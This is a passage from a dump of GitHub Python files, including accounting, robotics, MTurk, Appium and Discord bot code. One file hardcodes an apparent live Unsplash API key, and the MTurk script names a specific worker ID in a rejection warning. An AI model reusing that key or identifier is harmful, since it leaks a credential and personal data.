Mode',\n choices={\n 'Normal Posting':1,\n 'Provisional Post':2\n })\n\n def lookupView(self, session, fieldName):\n ret = MVCLookupDef('','')\n if fieldName == 'GLPOBCFR':\n ret.svcname = 'GLS100'\n ret.params = {'GLBCBST1': '%v:2'}\n ret.retfield = 'GLBCLSID'\n if fieldName == 'GLPOBCTO':\n ret.svcname = 'GLS100'\n ret.params = {'GLBCBST1': '%v:2'}\n ret.retfield = 'GLBCLSID'\n return ret\n\n def retrieveData(self, mvcsession):\n mvcsession.entryDataset.Append()\n mvcsession.entryDataset.SetFieldValue('GLPODESC', None)\n mvcsession.entryDataset.SetFieldValue('GLPOPOMO', 1)\n mvcsession.entryDataset.SetFieldValue('GLPOBCFR', None)\n mvcsession.entryDataset.SetFieldValue('GLPOBCTO', None)\n mvcsession.entryDataset.SetFieldValue('GLPOPOTP', 1)\n mvcsession.entryDataset.Post()\n return mvcsession\n\n def postData(self, mvcsession):\n proxy = self.getBusinessObjectProxy()\n usrobj = proxy.getObject('USROBJ')\n glsobj = proxy.getObject('GLSOBJ')\n info = usrobj.retrieveUserInfoDict(mvcsession)\n cono = info['USRCONO']\n glopt = glsobj.getGLOpt(cono)\n td = dt.datetime.now()\n fields = mvcsession.entryDataset.FieldsAsDict()\n if fields['GLPOPOMO'] == 2:\n validators.NotEmpty(messages={'empty': 'Batch from must not empty'}).to_python(fields['GLPOBCFR'])\n validators.NotEmpty(messages={'empty': 'Batch to must not empty'}).to_python(fields['GLPOBCTO'])\n\n # --- create job assignment ----\n job = jobassign.JOBAssignment()\n job.description = 'G/L Post: %s' % fields['GLPODESC']\n job.serviceName = 'GLS250'\n job.jobServiceName = 'JGLS250'\n job.user_name = mvcsession.cookies['user_name'].encode('utf8')\n # ----\n\n td = dt.datetime.now()\n obj = GLPOST(\n GLPOJBID = job.jobID,\n GLPODESC = fields['GLPODESC'],\n GLPOPOMO = fields['GLPOPOMO'],\n GLPOCONO = cono,\n GLPONOID = glopt['GLOPBCNO'],\n GLPOBCFR = fields['GLPOBCFR'],\n GLPOBCTO = fields['GLPOBCTO'],\n GLPOPOTP = fields['GLPOPOTP'],\n GLPOAUDT = td.date().tointeger(),\n GLPOAUTM = td.time().tointeger(),\n GLPOAUUS = mvcsession.cookies['user_name'].encode('utf8')\n )\n\n if not session.transaction_started():\n session.begin()\n try:\n session.save(obj)\n session.commit()\n except:\n session.rollback()\n session.expunge(rec)\n raise\n # --- register job ---\n job.assignJob()\n # -----\n return mvcsession\n\n\n","repo_name":"jazlee/csp-accounting","sub_path":"ecf/mvc/GLS250/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21085941024","text":"#후위 표기식 2\n#백준 1935\n\nimport sys\n\ninput = sys.stdin.readline\n\nn = int(input())\npeq = list(input())\noperand = [int(input()) for _ in range(n)]\n\npeq.pop()\n\nfor i in range(len(peq)):\n letter = list('ABCDEFGHIJKLMNOPQRSTUVWXYZ')\n if peq[i] in letter: peq[i] = operand[ord(peq[i])-ord(\"A\")]\n\nwhile len(peq) != 1:\n for i in range(len(peq)):\n if peq[i] in list('+-*/'):\n peq[i] = eval(str(peq[i-2])+str(peq[i])+str(peq[i-1]))\n del peq[i - 1]\n del peq[i - 2]\n \n break\n\nprint('%.2f' %peq[0])\n\n\n'''\n후위 표기식 1 구현\n입력 : 3+2*4-2 일 때 후위 표기식으로 출력하기\npeq = []\noper = []\n\n\nfor i in eq:\n if i == \"*\" or i == \"/\" or i == \"(\":\n oper.append(i)\n elif i == \"+\" or i ==\"-\":\n for _ in range(len(oper)):\n peq.append(oper.pop())\n oper.append(i)\n elif i == \")\":\n while j != \"(\" :\n peq.append(oper.pop())\n oper.pop()\n else:\n peq.append(i)\npeq.pop()\nfor i in range(len(oper)):\n peq.append(oper.pop())\n'''","repo_name":"SquirtlesAlgorithmStudy/SquirtlesAlgorithmStudy-S12","sub_path":"의진/Week 4/후위 표기 식 1 + 2.py","file_name":"후위 표기 식 1 + 2.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34104997641","text":"# coding:utf-8\nfrom appium import webdriver\nimport time\ncaps={\n 'platformName':'Android',#被测app所处平台-操作系统\n 'platformVersion':'8.1.0',#操作系统(安卓)版本\n 'deviceName':'5789f4be7cf5',#被测设备名称,可以在cmd中进入AndroidSDK\\platform-tools目录执行adb devices -l查询到\n #被测app的信息-首先在设备上打开被测app(网易云音乐),然后在cmd中进入AndroidSDK\\platform-tools目录执行adb shell dumpsys activity recents | findstr intent获取设备(手机)上最近活动日志,找到网易云音乐应用的日志,再找出包名和入口(cmp后面那一串字符):\n #intent={act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10200000 cmp=com.netease.cloudmusic/.activity.LoadingActivity}\n 'appPackage':'com.netease.cloudmusic',#包名-代表被测app在设备上的地址\n 'appActivity':'.activity.LoadingActivity',#入口信息-被测app的入口\n 'noReset':'True',#禁止app在自动化后重置\n 'newCommandTimeout':3600,#设置命令超时时间,单位秒\n 'automationName':'UiAutomator2'#指定驱动为UI2,安卓默认使用的是UiAutomator自动化框架,效率较低\n}\n\n#启动被测app:\ndriver=webdriver.Remote('http://127.0.0.1:4723/wd/hub',caps)#网址为Appium Server的地址,端口为Appium Server的端口,/wd/hub是固定的Appium Server端接口名称\n\n#隐士等待:如果当前界面没有出现目标元素就会等待一下直到超出设定的时间(秒),如果出现了目标元素直接跳过等待\ndriver.implicitly_wait(10)\n'''\n##打印“每日推荐”的前三首歌曲\n#进入“发现”页面\na=driver.find_element_by_id(\"com.netease.cloudmusic:id/desc\").click()\n#点击“每日推荐”\nb=driver.find_element_by_id(\"com.netease.cloudmusic:id/portalTitle\").click()\n#获取前三首歌曲\nc=driver.find_elements_by_id(\"com.netease.cloudmusic:id/songName\")[:3]#elements方法获取的是列表\nfor i in c:\n print(i.text)\n'''\n##新建歌单“每日精选”,并将“每日推荐”内的前三首歌添加进去\n#1.进入“我的”\ndriver.find_element_by_xpath(\"//*[@text='我的']\").click()\n#2.滑动屏幕,使用swipe方法,从start_x,start_y坐标滑动到end_x,end_y坐标。这样手机当前页面上才能看到新建���单按钮\nstart_x=300\nstart_y=1000\nend_x=300\nend_y=500\ntime.sleep(2)#休眠2秒,防止超时报错\ndriver.swipe(start_x,start_y,end_x,end_y)\n#3.点击新建\"+\"按钮\ndriver.find_element_by_id(\"com.netease.cloudmusic:id/create\").click()\n#4.输入歌单名称\ndriver.find_element_by_id(\"com.netease.cloudmusic:id/etPlaylistName\").send_keys(\"每日精选\")\ntime.sleep(1)#等待字符输入完之后,\"完成\"按钮才可以点击\n#5.点击完成按钮\ndriver.find_element_by_id(\"com.netease.cloudmusic:id/tvCreatePlayListComplete\").click()\ntime.sleep(1)\n#6.返回主页面\ndriver.keyevent(4)#4表示android自带的返回键。android的系统按键参考:https://blog.csdn.net/weixin_43743725/article/details/85039615\n#7.进入\"发现\"\ndriver.find_element_by_xpath(\"//*[@text='发现']\").click()\n#8.进入\"每日推荐\"\ndriver.find_element_by_xpath(\"//*[@text='每日推荐']\").click()\n#9.将前三首歌添加到每日精选歌单,获取前三首歌曲的操作菜单按钮,然后重复添加歌单过程\noptions=driver.find_elements_by_id('com.netease.cloudmusic:id/actionBtn')[:3]\nfor option in options:\n #点击操作按钮(三个小点);\n option.click()\n #点击收藏到歌单\n driver.find_element_by_xpath('//*[@text=\"收藏到歌单\"]').click()\n #选择每日精选这个歌单\n driver.find_element_by_xpath('//*[@text=\"每日精选\"]').click()\n time.sleep(1)\n##收尾操作,删除测试残留\n# 1.返回主界面\ndriver.keyevent(4)\n#2.选择\"我的\"\ndriver.find_element_by_xpath(\"//*[@text='我的']\").click()\n#3.查看歌单内容,然后返回\ndriver.find_element_by_xpath(\"//*[@text='每日精选']\").click()\ntime.sleep(1)\ndriver.keyevent(4)\n#4.选择\"每日精选\"歌单后面的三个点\ndriver.find_element_by_id(\"com.netease.cloudmusic:id/actionContainer\").click()\n#5.在弹出的选项中选择\"删除\",并在弹出的页面确认删除\ndriver.find_element_by_xpath(\"//*[@text='删除']\").click()\ndriver.find_element_by_id(\"com.netease.cloudmusic:id/buttonDefaultPositive\").click()\n\n","repo_name":"vaoner/Appium","sub_path":"auto_163music.py","file_name":"auto_163music.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31752775429","text":"def validate(n):\n len_n = len(str(n))\n if len_n >16:\n return False\n # if the number of elements are even \n if len_n %2 == 0:\n l = [int(num)*2 if p%2 == 0 else int(num) for p,num in enumerate(str(n))]\n # if the number of elements are odd \n else:\n l = [int(num)*2 if p%2 != 0 else int(num) for p,num in enumerate(str(n))]\n \n l_2 = [int(num)-9 if int(num)>9 else int(num) for num in l] \n \n return sum(l_2)%10 == 0\n","repo_name":"2022practice/codewars","sub_path":"6kyu/validate_credit_card_number/validate_credit_card_number.py","file_name":"validate_credit_card_number.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2377542408","text":"import csv\nimport os\nimport boto3\nfrom dotenv import load_dotenv\nimport pandas as pd\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--no_sandbox\", action='store_true')\nparser.add_argument(\"--sanity_test\", action='store_true')\nparser.add_argument(\"--create_qualification\", action='store_true')\nparser.add_argument(\"--notify_workers\", action='store_true')\nargs = parser.parse_args()\n\nload_dotenv()\n\nKEY_ID = os.getenv(\"KEY_ID\")\nKEY_SECRET = os.getenv(\"KEY_SECRET\")\n\nMTURK_SANDBOX = 'https://mturk-requester-sandbox.us-east-1.amazonaws.com'\nMTURK = 'https://mturk-requester.us-east-1.amazonaws.com'\nmturk = boto3.client('mturk',\n aws_access_key_id = KEY_ID,\n aws_secret_access_key = KEY_SECRET,\n region_name='us-east-1',\n endpoint_url = MTURK if args.no_sandbox else MTURK_SANDBOX\n)\n\ndef sanity_test():\n print(\"I have $\" + mturk.get_account_balance()['AvailableBalance'] + \" in my Sandbox account\")\n\ndef create_hit():\n HIT_LAYOUT_ID = \"3S3TY9RPQUOPL41THB4VIBOCM1RAFH\"\n\n csv_path = \"challenging.csv\"\n params = pd.read_csv(csv_path).to_dict('records')\n params = params[0]\n params_formatted = []\n for item in params.items():\n params_formatted.append({'Name': item[0], 'Value': item[1]})\n\n lifetime_days = 7\n autoapproval_days = 3\n\n new_hit = mturk.create_hit(\n Title = 'Is this Tweet happy, angry, excited, scared, annoyed or upset?',\n Description = 'Read this tweet and type out one word to describe the emotion of the person posting it: happy, angry, scared, annoyed or upset',\n Keywords = 'text, quick, labeling',\n Reward = '0.12',\n MaxAssignments = 3,\n LifetimeInSeconds = lifetime_days * 86400,\n AssignmentDurationInSeconds = 600,\n AutoApprovalDelayInSeconds = autoapproval_days * 86400,\n HITLayoutId = HIT_LAYOUT_ID,\n HITLayoutParameters = params_formatted\n )\n\n print(\"A new HIT has been created. You can preview it here:\")\n print(\"https://workersandbox.mturk.com/mturk/preview?groupId=\" + new_hit['HIT']['HITGroupId'])\n print(\"HITID = \" + new_hit['HIT']['HITId'] + \" (Use to Get Results)\")\n\n # Remember to modify the URL above when you're publishing\n # HITs to the live marketplace.\n # Use: https://worker.mturk.com/mturk/preview?groupId=\n\ndef create_qualification_test():\n questions = open('MTurk/q_q.xml', mode='r').read()\n answers = open('MTurk/q_a.xml', mode='r').read()\n qual_response = mturk.create_qualification_type(\n Name='Text Style Understanding',\n Keywords='test, qualification, style, writing, language, text',\n Description='This is a qualification test for accessing our official HIT',\n QualificationTypeStatus='Active',\n Test=questions,\n AnswerKey=answers,\n TestDurationInSeconds=900)\n\ndef notify_workers():\n respond = mturk.notify_workers(\n Subject=\"Please correct your annotations on Q1 for these 5 HITs or we'll have to reject them\",\n MessageText=\"Hi, worker A3I1JDXJY9TIZX. Thanks for working on our HITs, but it seems you are missing Q1 by only giving the default 1 as its answer, which is clearly inappropriate. Please read the instruction carefully and ground your answer with the examples given. Please try redo the Q1 on these 5 HITs A.S.A.P, or we'll have to reject them. HIT IDs: 34F34TZU88GQJ6P48BVZ452E2ZOJ25, 3PIOQ99R8A3VM8PR6TXX3VENUADNUW, 3LG268AV4KNZCAKX90Z98XXU9J8ERU, 3URJ6VVYV14ENVVOS26S5GGYL7UO4P, 3G57RS03ITMIC7AJJ9R53VJ9KYU253\",\n WorkerIds=[\"A3I1JDXJY9TIZX\"]\n )\n print(respond)\n\n\nif args.sanity_test:\n sanity_test()\nelif args.create_qualification:\n create_qualification_test()\nelif args.notify_workers:\n notify_workers()\nelse:\n raise ValueError(\"Please denote the action desired.\")","repo_name":"alu13/GPT3_Capabilities","sub_path":"MTurk/MTurk_script.py","file_name":"MTurk_script.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41782219978","text":"import numpy as np\nfrom quanser.hardware import HIL, HILError\nimport time\n\nchannels = np.array([0, 1], dtype=np.uint32)\nnum_channels = len(channels)\nbuffer_in = np.zeros(num_channels, dtype=np.float64)\nbuffer_out = np.array([5.0, 0.0], dtype=np.float64)\ncard = HIL()\n\na = None\n\ndt = []\ntry:\n card.open(\"q2_usb\", \"0\")\n time_0 = time.time()\n for k in range(10000):\n print(buffer_in)\n time_start = time.time() - time_0\n card.read_analog(channels, num_channels, buffer_in)\n\n buffer_out[0] = np.sin(time_start*np.pi * 2.0 * 4) * 2.0\n card.write_analog(channels, num_channels, buffer_out)\n\n time_after_read_write_cycle = time.time() - time_0\n dt.append(time_after_read_write_cycle - time_start)\n\n buffer_out = np.array([0.0, 0.0], dtype=np.float64)\n card.write_analog(channels, num_channels, buffer_out)\n\n if card.is_valid():\n card.close()\nexcept HILError as e:\n print(e.get_error_message())\nexcept KeyboardInterrupt:\n print(\"Aborted\")\nfinally:\n if card.is_valid():\n card.close()\n\nprint(f'control frequency is {np.mean(1/np.array(dt)) / 1000} plus/minus {np.std(1/np.array(dt)) / 1000} kHz')\n\nprint('all done, closing')\n","repo_name":"FedericoGirlanda/cartpoleExp","sub_path":"software/python/development/check_control_frequency.py","file_name":"check_control_frequency.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20932775115","text":"import requests\nimport random\n\n\ndef get_random_person_image():\n # Reemplaza 'TU_API_KEY' con tu clave de acceso a la API de Unsplash\n api_key = 'WuFMTvB9iHnH8JsX9wdxvvl-eFG1rVD2HyBjY_-3bDY'\n\n # URL de la API de búsqueda de Unsplash para obtener imágenes de personas\n url = 'https://api.unsplash.com/search/photos'\n\n # Parámetros de la solicitud\n params = {\n 'query': 'person',\n 'per_page': 30,\n 'client_id': api_key\n }\n\n try:\n response = requests.get(url, params=params)\n data = response.json()\n\n if response.status_code == 200:\n # Obtener una imagen aleatoria de persona de los resultados\n results = data.get('results', [])\n if results:\n random_image = random.choice(results)\n image_url = random_image['urls']['regular']\n return image_url\n else:\n print(\"Error al obtener la imagen:\", data.get('errors', ''))\n except requests.exceptions.RequestException as e:\n print(\"Error de conexión:\", e)\n\n return None\n\n\n# Obtener una URL de imagen de persona aleatoria\navatar_url = get_random_person_image()\nprint(avatar_url)\n","repo_name":"abelsoriano/church","sub_path":"obteneFoto.py","file_name":"obteneFoto.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4230134579","text":"import gym\nimport matplotlib.pyplot as plt\nimport time\n\nfrom gym.envs.registration import register\nregister(\n id='FrozenLakeNotSlippery-v0',\n entry_point='gym.envs.toy_text:FrozenLakeEnv',\n kwargs={'map_name' : '4x4', 'is_slippery': False}, #set slippery flag to false\n max_episode_steps=100,\n reward_threshold=0.78, # optimum = .8196\n)\nenv = gym.make('FrozenLakeNotSlippery-v0')\nnum_episodes = 1000\n\nsteps_total = [] #to put step\n\nfor i_episodes in range(num_episodes):\n\tstate = env.reset() #reset before each environment\n\tstep = 0\n\t# for step in range(100): take 100 moves, never really reaches 100 moves\n\twhile True:\n\t\tstep +=1\n\t\taction = env.action_space.sample() #chooses random move of agent\n\t\tnew_state, reward, done, info = env.step(action) #exectuting action\n\t\ttime.sleep(0.4)\n\n\t\tenv.render()\n\t\tprint(new_state) #prints 4 different numbers, refer wiki\n\t\tprint(info) #it is empty\n\n\t\t\n\n\n\t\tif done:\n\t\t\tsteps_total.append(step)\n\t\t\tprint(\"Episode finished after %s\"%step)\n\t\t\tbreak #until episode is finished, run episode\n\nprint(\"Average number of steps %.2f\"%((sum(steps_total))/num_episodes))\nplt.plot(steps_total)\nplt.show()","repo_name":"SiddhantNadkarni/ReinforcementLearning","sub_path":"rl04-FrozenLakeStochasticDetermisnistic.py","file_name":"rl04-FrozenLakeStochasticDetermisnistic.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35947233379","text":"\nimport math\n\n# from xml.etree import ElementTree\n# import xml.etree.cElementTree as ET\n\nimport numpy as np\n\n\n# always print floating point numbers using fixed point notation\n# np.set_printoptions(suppress=True)\n\n_DoF = 6\n_A = 0\n_ALPHA = 1\n_BETA = 2\n_D = 3\n_THETA = 4\n_LLIM = 5\n_ULIM = 6\n\n\ndef is_rotation_matrix(R):\n Rt = np.transpose(R)\n shouldBeIdentity = np.dot(Rt, R)\n Im = np.identity(3, dtype=R.dtype)\n n = np.linalg.norm(Im - shouldBeIdentity)\n return n < 1e-6\n\n\ndef rot_x(x):\n return np.array([[1, 0, 0],\n [0, math.cos(x), -math.sin(x)],\n [0, math.sin(x), math.cos(x)]])\n\n\ndef rot_y(y):\n return np.array([[math.cos(y), 0, math.sin(y)],\n [0, 1, 0],\n [-math.sin(y), 0, math.cos(y)]])\n\n\ndef rot_z(z):\n return np.array([[math.cos(z), -math.sin(z), 0],\n [math.sin(z), math.cos(z), 0],\n [0, 0, 1]])\n\n\ndef T_a_alpha(a, alpha):\n return np.array([[1, 0, 0, a],\n [0, math.cos(alpha), -math.sin(alpha), 0],\n [0, math.sin(alpha), math.cos(alpha), 0],\n [0, 0, 0, 1]])\n\n\ndef T_beta(beta):\n return np.array([[math.cos(beta), 0, math.sin(beta), 0],\n [0, 1, 0, 0],\n [-math.sin(beta), 0, math.cos(beta), 0],\n [0, 0, 0, 1]])\n\n\ndef T_d_theta(d, theta):\n return np.array([[math.cos(theta), -math.sin(theta), 0, 0],\n [math.sin(theta), math.cos(theta), 0, 0],\n [0, 0, 1, d],\n [0, 0, 0, 1]])\n\n\n# Calculates Rotation Matrix given euler angles.\ndef rotation_matrix_from_euler_angles(theta):\n R_x = rot_x(theta[0])\n R_y = rot_y(theta[1])\n R_z = rot_z(theta[2])\n return np.dot(R_z, np.dot(R_y, R_x))\n # return R_z @ R_y @ R_x\n\n\n# Calculates rotation matrix to euler angles\ndef euler_angles_from_rotation_matrix(R):\n assert(is_rotation_matrix(R))\n\n sy = math.sqrt(R[0, 0] * R[0, 0] + R[1, 0] * R[1, 0])\n\n singular = sy < 1e-6\n\n if not singular:\n x = math.atan2(R[2, 1], R[2, 2])\n y = math.atan2(-R[2, 0], sy)\n z = math.atan2(R[1, 0], R[0, 0])\n else:\n x = math.atan2(-R[1, 2], R[1, 1])\n y = math.atan2(-R[2, 0], sy)\n z = 0\n\n return np.array([x, y, z])\n\n\n# URDF DH ((5+2) x 6) from TM DH Table (7x6) and Delta DH (5x6)\n# a-alpha-beta-d-theta <-- theta-alpha-a-d-t-l-u + delta(theta-alpha-a-d-beta)\ndef urdf_DH_from_tm_DH(tm_DH, tm_DeltaDH):\n assert(len(tm_DH) == 7*_DoF and len(tm_DeltaDH) == 5*_DoF)\n\n urdf_DH = np.zeros([_DoF + 1, 7])\n # urdf_DH[0, _A ] = 0.\n # urdf_DH[0, _ALPHA] = 0.\n # urdf_DH[0, _BETA ] = 0.\n for i in range(_DoF):\n urdf_DH[i, _D] = 0.001 * (tm_DH[7*i + 3] + tm_DeltaDH[5*i + 3])\n urdf_DH[i, _THETA] = math.radians(tm_DH[7*i + 0] + tm_DeltaDH[5*i + 0])\n urdf_DH[i, _LLIM] = math.radians(tm_DH[7*i + 5])\n urdf_DH[i, _ULIM] = math.radians(tm_DH[7*i + 6])\n urdf_DH[i + 1, _A] = 0.001 * (tm_DH[7*i + 2] + tm_DeltaDH[5*i + 2])\n urdf_DH[i + 1, _ALPHA] = math.radians(tm_DH[7*i + 1] + tm_DeltaDH[5*i + 1])\n urdf_DH[i + 1, _BETA] = math.radians(tm_DeltaDH[5*i + 4])\n # urdf_DH[_DoF, _D] = 0.\n # urdf_DH[_DoF, _THETA] = 0.\n return urdf_DH\n\n\ndef xyzrpys_from_urdf_DH(udh):\n np.set_printoptions(suppress=True)\n xyzs = np.zeros([_DoF + 1, 3])\n rpys = np.zeros([_DoF + 1, 3])\n for i in range(_DoF + 1):\n Ta = T_a_alpha(udh[i, _A], udh[i, _ALPHA])\n Tb = T_beta(udh[i, _BETA])\n Tc = T_d_theta(udh[i, _D], udh[i, _THETA])\n T = np.dot(Ta, np.dot(Tb, Tc))\n # T = Ta @ Tb @ Tc\n # R = T[0:3, 0:3]\n xyzs[i] = T[0:3, 3]\n rpys[i] = euler_angles_from_rotation_matrix(T[0:3, 0:3])\n\n # print('link', i+1, ':')\n # print('xyz :', np.round(xyzs[i], 6))\n # print('rpy :', np.round(rpys[i], 6))\n # print('T :\\n', np.round(T, 6))\n # print('\\n')\n return xyzs, rpys\n\n\ndef str_from_nparray(nparray):\n string = ''\n for value in nparray:\n # string += str(value)\n string += '{:f}'.format(value)\n string += ' '\n\n string = string[:-1]\n return string\n\n\ndef pretty_xml(element, indent, newline, level=0):\n if element:\n if element.text is None or element.text.isspace():\n element.text = newline + indent * (level + 1)\n else:\n element.text = newline + (indent * (level + 1) + element.text.strip()\n + newline + indent * (level + 1))\n\n temp = list(element)\n for subelement in temp:\n if temp.index(subelement) < (len(temp) - 1):\n subelement.tail = newline + indent * (level + 1)\n else:\n subelement.tail = newline + indent * level\n pretty_xml(subelement, indent, newline, level=level + 1)\n\n\ndef modify_urdf(root, xyzs, rpys, udh, prefix=''):\n\n for elem in root.findall('joint'):\n for index in elem.attrib:\n if index == 'name' and elem.attrib[index] == prefix + 'base_fixed_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = '0.0 0.0 0.0'\n origin.attrib['rpy'] = '0.0 0.0 0.0'\n\n elif index == 'name' and elem.attrib[index] == prefix + 'shoulder_1_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = str_from_nparray(np.round(xyzs[0, :], 8))\n origin.attrib['rpy'] = str_from_nparray(np.round(rpys[0, :], 8))\n # limit = elem.find('limit')\n # limit.attrib['lower'] = str(np.round(udh[0, _LLIM], 4))\n # limit.attrib['upper'] = str(np.round(udh[0, _ULIM], 4))\n\n elif index == 'name' and elem.attrib[index] == prefix + 'shoulder_2_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = str_from_nparray(np.round(xyzs[1, :], 8))\n origin.attrib['rpy'] = str_from_nparray(np.round(rpys[1, :], 8))\n # limit = elem.find('limit')\n # limit.attrib['lower'] = str(np.round(udh[1, _LLIM], 4))\n # limit.attrib['upper'] = str(np.round(udh[1, _ULIM], 4))\n\n elif index == 'name' and elem.attrib[index] == prefix + 'elbow_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = str_from_nparray(np.round(xyzs[2, :], 8))\n origin.attrib['rpy'] = str_from_nparray(np.round(rpys[2, :], 8))\n # limit = elem.find('limit')\n # limit.attrib['lower'] = str(np.round(udh[2, _LLIM], 4))\n # limit.attrib['upper'] = str(np.round(udh[2, _ULIM], 4))\n\n elif index == 'name' and elem.attrib[index] == prefix + 'wrist_1_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = str_from_nparray(np.round(xyzs[3, :], 8))\n origin.attrib['rpy'] = str_from_nparray(np.round(rpys[3, :], 8))\n # limit = elem.find('limit')\n # limit.attrib['lower'] = str(np.round(udh[3, _LLIM], 4))\n # limit.attrib['upper'] = str(np.round(udh[3, _ULIM], 4))\n\n elif index == 'name' and elem.attrib[index] == prefix + 'wrist_2_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = str_from_nparray(np.round(xyzs[4, :], 8))\n origin.attrib['rpy'] = str_from_nparray(np.round(rpys[4, :], 8))\n # limit = elem.find('limit')\n # limit.attrib['lower'] = str(np.round(udh[4, _LLIM], 4))\n # limit.attrib['upper'] = str(np.round(udh[4, _ULIM], 4))\n\n elif index == 'name' and elem.attrib[index] == prefix + 'wrist_3_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = str_from_nparray(np.round(xyzs[5, :], 8))\n origin.attrib['rpy'] = str_from_nparray(np.round(rpys[5, :], 8))\n # limit = elem.find('limit')\n # limit.attrib['lower'] = str(np.round(udh[5, _LLIM], 4))\n # limit.attrib['upper'] = str(np.round(udh[5, _ULIM], 4))\n\n elif index == 'name' and elem.attrib[index] == prefix + 'flange_fixed_joint':\n origin = elem.find('origin')\n origin.attrib['xyz'] = str_from_nparray(np.round(xyzs[6, :], 8))\n origin.attrib['rpy'] = str_from_nparray(np.round(rpys[6, :], 8))\n\n pretty_xml(root, ' ', '\\n')\n","repo_name":"TechmanRobotInc/tmr_ros1","sub_path":"tm_description/scripts/_modify_urdf.py","file_name":"_modify_urdf.py","file_ext":"py","file_size_in_byte":8509,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"78"} +{"seq_id":"42986409109","text":"def get_first_digits_from_sum():\n sum_of_numbers = sum(read_numbers_from_file())\n return str(sum_of_numbers)[:10]\n\n\ndef read_numbers_from_file():\n numbers = []\n with open(\"numbers.txt\", \"r\") as f:\n for line in f:\n numbers.append(int(line.replace(\"\\n\", \"\")))\n return numbers\n\nif __name__ == \"__main__\":\n answer = get_first_digits_from_sum()\n print(answer)\n","repo_name":"mansolsson/programming-puzzles","sub_path":"project-euler/problem013/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34896513934","text":"import discord\nfrom discord.ext import commands\nimport random\nimport aiohttp\nimport json\n\nclass Urban(commands.Cog): \n def __init__(self, bot): # this is a special method that is called when the cog is loaded\n self.bot = bot\n\n @commands.command() # create a command\n\n async def urban(self, ctx, *, search_terms: str, definition_number: int=1):\n \"\"\"Get an Urban Dictionary entry.\"\"\"\n search_terms = search_terms.split(\" \")\n try:\n if len(search_terms) > 1:\n pos = int(search_terms[-1]) - 1\n search_terms = search_terms[:-1]\n else:\n pos = 0\n if pos not in range(0, 11):\n pos = 0\n except ValueError:\n pos = 0\n search_terms = \"+\".join(search_terms)\n url = \"http://api.urbandictionary.com/v0/define?term=\" + search_terms\n try:\n async with aiohttp.ClientSession() as cs:\n async with cs.get(url) as r:\n result = json.loads(await r.text())\n if result[\"list\"]:\n definition = result['list'][pos]['definition']\n example = result['list'][pos]['example']\n defs = len(result['list'])\n embed = discord.Embed(title='Definition #{} out of {}'.format(pos + 1, defs), description=definition, colour=embedColor(self))\n embed.set_author(name=search_terms, icon_url='https://i.imgur.com/bLf4CYz.png')\n embed.add_field(name=\"Example:\", value=example, inline=False)\n await edit(ctx, embed=embed)\n else:\n await edit(ctx, content=\"Your search terms gave no results.\", ttl=3)\n except IndexError:\n await edit(ctx, content=\"There is no definition #{}\".format(pos + 1), ttl=3)\n except:\n await edit(ctx, content=\"Error.\", ttl=3)\n\ndef setup(bot): # this is called by Pycord to setup the cog\n bot.add_cog(Urban(bot)) # add the cog to the bot","repo_name":"derekjhunt/discord-ralphbot","sub_path":"cogs/urban.py","file_name":"urban.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12307152921","text":"'''\nProject Name: Yundu Project\nAuthor: Nathan Warnick\nDue Date: 09/18/2021\nCourse: CS1400\n\nI learned a lot about how a program layout is supposed to be in Python, I practiced mathmatics logic in this program.\n'''\n\ndef main():\n '''\n Program starts here.\n \n '''\n try:\n reavers = int(input('enter reavers number: '))\n units = int(input('enter units number: '))\n \n except ValueError:\n print(\"Enter postive integers for reavers and units.\")\n return\n \n if reavers < 1 or units < 1:\n print(\"Enter positive integers for reavers and units.\")\n return\n\n if reavers < 3:\n print(\"Not enough crew.\")\n return\n\n if units <= 3 * reavers:\n print(\"Not enough units.\")\n return\n \n #my code starts here:\n \n \n celebration = (reavers * 3)\n celebration = (celebration - 6)\n units_afterc = (units - celebration)\n yondu_b = 0\n yondu_b = int(units_afterc * 0.13)\n units_now = (units_afterc - yondu_b)\n quill_b = 0\n quill_b = int(units_now * 0.11)\n units_now = (units_now - quill_b)\n RBF = (units_now % reavers)\n final_amount = int(units_now - RBF)\n crew = int(final_amount / reavers)\n yondu_b = (yondu_b + crew)\n quill_b = (quill_b + crew)\n \n print(\"How many Reavers:\")\n print(reavers)\n print(\"How many units:\")\n print(units)\n print(\"Yondu's share:\",yondu_b)\n print(\"Peter's share:\",quill_b)\n print(\"Crew:\",crew)\n print(\"RBF:\",RBF)\n \n #my code ends here!\nif __name__ == \"__main__\":\n main()\n 